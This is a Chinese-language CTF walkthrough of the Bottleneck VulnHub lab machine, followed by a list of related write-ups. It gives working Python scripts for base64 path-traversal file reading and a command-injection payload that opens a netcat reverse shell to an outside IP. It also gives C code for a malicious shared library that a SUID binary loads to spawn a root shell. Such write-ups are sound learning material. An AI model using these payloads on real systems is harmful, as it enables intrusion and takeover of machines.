Bottleneck

端口扫描,主机发现。

敏感目录为:http://192.168.114.165/image_gallery.php

在该目录下发现:http://192.168.114.165/image_gallery.php?t=1596116082&f=Ym90dGxlbmVja19kb250YmUucG5n

这个看起来是有一个base64加密的,解密后为bottleneck_dontbe.png换成passwd文件。

更改了之后没有任何反应,觉得可能是有校对机制,例如时间戳在t参数这里。

刷新了看了一下:

image_gallery.php?t=1596117382&f=Ym90dGxlbmVja19kb250YmUucG5n

确实发生了变化。

这样我们只要编写一个小脚本,将时间戳附在参数上面就可以了,这里随手写了一个。

#coding:utf-8
import time
import base64
import urllib
import requests string="../../../../../../../etc/passwd"
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.114.165/image_gallery.php"
payloads={
't' : tt,
'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text
print("---------------------------\n")
print("filename: intrusion_"+ str(int(tt)))

有回显,告诉我们这样是不行的。

可能设了白名单吧,可能吧可能吧,不会真有人费这么大劲折磨我吧。

换了一下../image_gallery.php有输出了,nice。

output:

C:\Users\Dell\PycharmProjects\pythonstudy\venv\Scripts\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/CTF常用脚本/时间戳.py

<?php
/*
CHANGELOG
v1.1: Still testing without content.
I've fixed that problem that @p4w and @ska notified me after hacker attack.
Shit I'm too lazy to make a big review of my code.
I think that the LFI problem can be mitigated with the blacklist.
By the way to protect me from attackers, all malicious requests are immediately sent to the SOC v1.0: Starting this beautiful gallery
*/ $tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
include_once 'image_gallery_load.php';
exit();
} ?>

原来是设了黑名单啊,猜错,接下来可能就是代码审计了。

image_gallery_load.php

<?php
function print_troll(){
$messages = $GLOBALS['messages'];
$troll = $GLOBALS['troll'];
echo $messages[0];
echo $troll;
} $troll = <<<EOT
<pre>
_,..._
/__ \
>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
EOT; if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
} $imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n"); if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../'); ?>

个人认为出问题的代码是在这里:

// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}

这里看上去是写日志文件了,那意味着我们利用恶意的url进行访问是有可能被写入的,而经过处理的log文件最终被放置到了/tmp/output

而文件名也可以判断出来就是intrusion_+时间戳

其实这个判断出来没鸟用,他最终还是放到/tmp/output文件下,我先后用了../../../../../../etc/passwd以及../../../../../../etc/network/interfaces试了一下,然后分别查看日志文件,发现确实被记录了,但是只能记录一条。

这里的反弹shell我是真没搞出来,这里我网上特地找了一下,这个巨佬写得很清晰了。

https://blog.csdn.net/weixin_44214107/article/details/102526835

payload:/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 2333 >/tmp/f") and'

所以根据这位博主的思路,创建了反弹shell的payload:

#coding:utf-8
import time
import base64
import urllib
import requests string='''../../../../../etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 2333 >/tmp/f") and\''''
print string
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.114.165/image_gallery.php"
payloads={
't' : tt,
'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text
print("---------------------------\n")
print("filename: intrusion_"+ str(int(tt)))

此时我们的客户端是已经收到了shell。

提权

查看操作系统版本,这个靶机是19年的,应该不会有大的漏洞。

suid看一下,发现一个at程序可能被利用,sudo -l则是一个清除日志的脚本,并且没有定时计划。

www-data@bottleneck:~/html/web_utils$ cat clear
cat clear_logs
#!/bin/bash
rm -f /var/log/soc/intrusion_*

如果我们能有写的权限,那么就方便很多了。

看到只有bytevsbyte及其组的用户具有高权限,我们的一种突破口就是往bytevsbyte用户登陆上去靠。

这里我又不会了,去看了一下wp。

根据wp可以得知clear_logs这个软链接就是我们的突破口,即修改clear_logs软链接的指向,是其指向我们的脚本,随后运行clear_logs使www-data用户变成bytevsbyte,看到这里我觉得这跟绕open_basedir有相同的道理。

本地创建clear_logs,在wget请求时显示权限不足

sudo -ubytevsbyte /var/www/html/webutils/clearlogs

这里我确实修改了文件的内容,但是执行的时候总是显示不存在这个文件,软连接可能改错了,应该没有啊,服了这只能搞到这里了,换了一个软连接ok了,后面暴躁的直接复制黏贴别人的了,感觉自己思路是没有问题的但就是没成功奇了怪了。

SUID可执行文件的命令,发现/usr/test/testlib

#include <dlfcn.h>
#include <unistd.h> int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}

其实接下来的提权步骤跟绕过php的disable_function是有点类似的,在绕过disable_function的时候我们选择劫持了mail函数下的可以说是调用so库文件,差不多就是这个意思吧。

dlopen以指定模式打开动态连接库文件,并返回一个句柄给调用进程;dlsym通过句柄和连接符名称获取函数名或者变量名。

所以poc很简单,跟绕过disbale_funtion的poc差不多。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void test_this() //这里定义的函数名为test_this的原因是因为上面的suid程序调用的就是这个函数
{
setuid(0); setgid(0); system("/bin/sh"); //获取root用户的shell
}

接下来的步骤就是将我们生成的这个共享库替换掉原来的共享库,然后再执行这个suid文件,就自然地调用了我们创建的so文件,然后获取到root的shell。

gcc -fPIC -shared test_this.c -o test_this.so

/usr/test/testlib /tmp/test_this.so

部分参考:https://blog.csdn.net/weixin_44214107/article/details/102526835

Bottleneck靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. SCAFFOLD: Stochastic Controlled Averaging for On-Device Federated Learning

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! 以下是对本文关键部分的摘抄翻译,详情请参见原文. arXiv:1910.06378v1 [cs.LG] 14 Oct 2019 Abstr ...

  2. SQL联结笔记(内联结,自联结,自然联结,外联结区别以及应用)

    SQL中有三种联结,分别是:内联结,自然联结,外联结. 联结是针对不同表联合起来的一种方式.应用的对象是:表(table) 为了方便验证练习理解,首先展示所要用到的表的内容: 1.Customers表 ...

  3. 企业项目实战 .Net Core + Vue/Angular 分库分表日志系统五 | 完善业务自动创建数据库

    教程预览 01 | 前言 02 | 简单的分库分表设计 03 | 控制反转搭配简单业务 04 | 强化设计方案 05 | 完善业务自动创建数据库 说明 这节来把基础的业务部分完善一下. 因为 IQue ...

  4. DBeaver链接kerberos安全认证的Phoenix集群

    DBeaver链接kerberos安全认证的Phoenix集群 最近公司的CDH集群,启动了kerberos安全认证,所有的用户验证全部需要依赖kerberos来进行.之前的裸奔集群,总算有了一些安全 ...

  5. asyncio异步模块的21个协程编写实例

    启动一个无返回值协程 通过async关键字定义一个协程 import sys import asyncio async def coroutine(): print('运行协程') if sys.ve ...

  6. jmeter中jdbc连接数据库——(一)

    所有jmeter基本组件功能本文不做介绍.jmeter要链接mysql数据库,首先得下载mysql jdbc驱动包 (注:驱动包的版本一定要与你数据库的版本匹配,驱动版本低于mysql版本有可能会导致 ...

  7. seo兼职顾问多少钱

    http://www.wocaoseo.com/thread-199-1-1.html        随着近几年搜索引挚市场迅猛的发展,网络营销已成为企业销售的一大趋势,越来越多的企业开始投身于网络市 ...

  8. 如何通过seo技术提高网站对用户的友好度

    http://www.wocaoseo.com/thread-129-1-1.html    今天的天气又是29度,眼看着满大街的人都穿着短袖和衬衣了,自己也再不能穿个厚厚的外套出去了,要不会被别人笑 ...

  9. 2020,最新APP重构:网络请求框架

    在现在的app,网络请求是一个很重要的部分,app中很多部分都有或多或少的网络请求,所以在一个项目重构时,我会选择网络请求框架作为我重构的起点.在这篇文章中我所提出的架构,并不是所谓的 最好 的网络请 ...

  10. Jira + confluence

    Jira入门教程 敏捷开发管理(一) https://www.jianshu.com/p/145b5c33f7d0 https://www.jianshu.com/p/975385878cde JIR ...